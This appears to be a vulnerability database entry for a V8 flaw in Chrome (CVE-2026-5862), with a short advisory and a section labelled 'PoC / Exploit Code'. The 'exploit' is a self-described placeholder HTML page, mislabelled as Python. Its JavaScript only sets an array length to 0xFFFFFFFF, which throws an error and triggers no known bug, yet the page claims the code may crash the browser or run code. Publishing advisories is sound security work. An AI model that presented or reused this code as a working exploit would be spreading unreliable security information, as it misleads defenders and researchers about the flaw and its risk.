Inappropriate implementation in V8 in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-5862 (Conceptual)
This is a placeholder HTML file demonstrating the trigger structure.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-5862 PoC</title>
<script>
// Malicious JavaScript targeting V8 engine
function trigger_vuln() {
// Placeholder for the specific V8 exploitation primitives
// Usually involves heap grooming and JIT spraying
let arr = new Array(100);
// Simulating the crafted input that causes the inappropriate implementation
try {
// Logic to trigger the bug in V8 prior to 147.0.7727.55
for (let i = 0; i < 100; i++) {
arr[i] = i * 2;
}
// Hypothetical corruption trigger
arr.length = 0xFFFFFFFF;
} catch (e) {
console.log("Exploit attempt failed: " + e);
}
}
window.onload = function() {
console.log("Checking V8 version...");
trigger_vuln();
};
</script>
</head>
<body>
<h1>CVE-2026-5862 Test Page</h1>
<p>If running vulnerable Chrome, this may crash or execute code.</p>
</body>
</html>